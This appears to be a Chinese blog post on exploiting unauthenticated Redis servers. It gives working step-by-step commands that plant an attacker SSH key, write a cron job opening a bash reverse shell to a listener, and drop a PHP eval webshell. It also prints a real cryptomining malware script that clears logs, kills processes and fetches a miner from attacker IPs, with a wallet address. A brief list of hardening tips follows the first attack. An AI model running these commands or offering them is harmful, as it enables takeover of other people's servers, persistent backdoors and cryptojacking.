redis未授权

利用https://paper.seebug.org/409/
加固https://help.aliyun.com/knowledge_detail/37447.html
阿里云服务器被挖矿程序minerd入侵的终极解决办法http://blog.csdn.net/tjcyjd/article/details/54140321
redis命令总结https://maoxian.de/2015/08/1342.html

攻击条件

Redis 服务默认绑定在 0.0.0.0:6379 暴露到公网上!
如果在【没有开启认证】的情况下:导致可以访问目标服务器的任意用户,未授权访问Redis以及读取Redis的数据。

服务器启动redis

whereis redis

  #加上&号   使 redis 以后台程序方式运行
./redis-server &

连接 redis未授权服务器

image.png

redis -h 10.125.155.30  -p 6379

keys *


 #查看某个key的值
get kkkky

info #查看redis版本信息、一些具体信息、服务器版本信息等


#开启监视器 实时转储收到的请求(从此时开始记录每个redis命令操作  到文件ksdf.log)
redis-cli -h xx.xx.xx. monitor >ksdf.log

方式1 利用Redis自身方法 写服务器的文件 (ssh-key公钥)

将hacker的公钥 追加 写入 redis服务器的 /root/.ssh 文件夹下的authotrized_keys文件中,即hacker主机 直接登录 该服务器。

"公钥登录" 原理很简单,就是用户将自己的公钥储存在远程主机上。
登录的时候,远程主机会向用户发送一段随机字符串,用户用自己的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,如果成功,就证明用户是可信的,直接允许登录shell,不再要求密码。
这种方法要求用户必须提供自己的公钥。如果没有现成的,可以直接用ssh-keygen生成一个:

$ ssh-keygen

运行上面的命令以后,系统会出现一系列提示,可以一路回车。其中有一个问题是,要不要对私钥设置口令(passphrase),如果担心私钥的安全,这里可以设置一个。

运行结束以后,在$HOME/.ssh/目录下,会新生成两个文件:id_rsa.pub和id_rsa。前者是你的公钥,后者是你的私钥。
通常这时再输入下面的命令,将公钥传送到远程主机host上面:
$ ssh-copy-id user@host

authorized_keys文件:远程主机将用户的公钥,保存在登录后的用户主目录的$HOME/.ssh/authorized_keys文件中。公钥就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。

#进入/.ssh目录
cd ~
cd .ssh/

# 本机 生成ssh公钥文件gy
 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > gy.txt


# 利用redis-cli 连接 该服务器
redis-cli -h 173.239.46.188


#  删除所有数据库以及key!!((保证写入的数据不掺杂其他数据)慎用 !!
flushall

# 把公钥文件gy (通过redis自身方法)  写入 服务器的内存  返回OK
cat gy.txt | redis-cli -h 173.239.46.188 -x set crackit


# 利用redis查看当前目录
173.239.46.188:6379> config get dir
1) "dir"
2) "/var/spool/cron"


# 进入目录 设置保存路径  /Users/用户名/.ssh  可能OK 也可能非root用户权限不足(error) ERR Changing directory: Permission denied
173.239.46.188:6379> config set dir /root/.ssh/


# 设置数据库名
173.239.46.188:6379> config set dbfilename "authorized_keys"
OK

# 保存数据库的内容到/root/.ssh/authorized_keys 会覆盖之前的!!  会导致之前设置的所有ssh免登录失效!!!
173.239.46.188:6379> save
OK


#-------------------------------------------------
# 通过自己本机的私钥登陆服务器
ssh -i  id_rsa root@173.239.46.188

当如果发现自己的Redis突然被清空,在0号默认库中执行 keys * 命令只显示
"crackit" 或者其他奇怪的key,那么“恭喜”你中招了。

0×05修复建议

1.对自己的Redis加入认证,除非必要,否则不要把自身暴露到公网中,也不要以root启用Redis。
2.iptables 对自用固定的端口开启白名单。
3.查看自己的authorized_keys,以及crontab 任务,如果包含REDIS的开头,请重置。
4.确认自己被hack的机器,请检查 chkrootkit和 rootkit hunter检查rootkit。

方式2 利用定时任务执行命令反弹shell

redis 以 root 权限运行时:
可以写 crontab 来执行命令反弹shell

--
Redis的set1 ‘xxx’命令使得写入数据始终在最前,保证执行成功,但写入数据较大(来源猪猪侠@wooyun)

crontab 对执行的文件格式要求比较松散。

在centos里写入到/var/spool/cron目录。

# 在redis未授权机器上查询定时任务 
crontab -u root -l
#*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh
基本格式 :
*  *  *  *  *  command
分 时 日      月   周  命令
# 删除所有的执行计划
service crond stop或 crontab -r 

先在hacker自己的服务器192.168.1.1上监听一个端口 nc -lvnp 4444

连接目标redis服务器 执行命令:

redis-cli -h 192.168.2.2
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

方式3 在web目录 写文件 获取webshell

当 redis 权限不高,并且服务器开着 web 服务且在 redis 有 web 目录写权限时:往 web 路径写 webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

挖矿脚本

在目标的redis上创建了两个关键key,一个名为woxdtzfwar、另一个名为crackit。
内容分别为:

可访问 http://172.104.190.64:8220/test11.sh 获取最新url
woxdtzfwar文件

*/1 * * * * /usr/bin/curl -fsSLhttp://172.104.190.64:8220/test11.sh | sh

其中shell脚本即

#!/bin/bash
(ps auxf|grep -v grep|grep cryptonight |awk '{print $2}'|xargs kill -9;crontab -r;pkill -9 minerd;pkill -9 i586;pkill -9 gddr;pkill -9 snapd;pkill -9 atd;echo > /var/log/wtmp;history -c;cd ~;curl -L http://198.181.41.97:8220/minerd -o minerd;chmod 777 minerd;setsid ./minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x &>>/dev/null)

crackit的内容为:

ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDE0guChoiGr6s3mXjQA0wX6YKNNMy2bpj6b8ArjuWH/mjN17bu275t/ZlSarmMC5hCVAx7eJEzqxqy43AiBS61UuFpWZXWal5b6XWdvrH6pCJOI5+ceeFMEmc64B7GNrs2OPyuaP0HST/xh0YyWwoE/2uZmc3EyiR8sIP7/11N+xhHH4nIZB/M8QDaBRN6DWUNd/kzLDuIHr4LntuhKEZpCuQIuiDm7ZBYzbYhGtpPWnO04FzbfMUqP1JssTd/G/mUflRgQhKVACyF8rd8o/o7Zy6I9JVgLV6FpNOLc5Ep9VJuFXxmcxWc+Bj//Sd4pgn4gbmb8GzAvlH2xxw+SV2hredis@redis.io

对挖矿脚本 具体解释如下:

#!/bin/bash
#利用ps命令列举进程,看是否已经有存在名为minerd进程,如有则杀掉进程
(ps auxf|grep -v grep|grep cryptonight |awk '{print $2}'|xargs kill -9;

#清除当前用户crontab任务列表
crontab -r;

#杀进程再次杀进程,分别为minerd/i586/gddr进程名,猜测是否为病毒早前感染程序名)
pkill -9 minerd;
pkill -9 i586;
pkill -9 gddr;
pkill -9 snapd;
pkill -9 atd;

#清日志
echo > /var/log/wtmp;#系统每次登录,都会在此日志中添加记录,该文件为二进制文件

#清空命令操作日志
history -c;

#回到用户家目录
cd ~;

#下载自己服务器上的minerd到 被黑的redis服务器
curl -L http://198.181.41.97:8220/minerd -o minerd;

#增加执行权限
chmod 777 minerd;

# setsid命令, minnerd进程执行后守护进程
setsid ./minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo -p x &>>/dev/null)

其中,minnerd为挖矿程序,连接的服务器为 xmr.crypto-pool.fr:3333,挖矿帐号为41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo,密码为x(这个密码选项无所谓,值可随便设置)


利用百度搜索 minerd,搜索结果显示 minerd 是一个臭名昭著的比特币挖矿程序。其中攻击方式、sh文件内容等基本一样,说明该攻击是基于redis未授权漏洞的病毒。
网络上发表的基于minerd的下载url为:curl -L http://67.209.185.118:8220/minerd -o minerd
该页面已经失效不能访问


该病毒面对的目标系统是linux系统(crontab启动方式、curl下载、minerd挖矿程序等)

此外,幸运的是本次客户redis安装在windows操作系统(info查看),病毒无法在windows系统下运行

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 210,978评论 6 490
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 89,954评论 2 384
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 156,623评论 0 345
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,324评论 1 282
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,390评论 5 384
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,741评论 1 289
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,892评论 3 405
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,655评论 0 266
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,104评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,451评论 2 325
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,569评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,254评论 4 328
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,834评论 3 312
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,725评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,950评论 1 264
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,260评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,446评论 2 348

推荐阅读更多精彩内容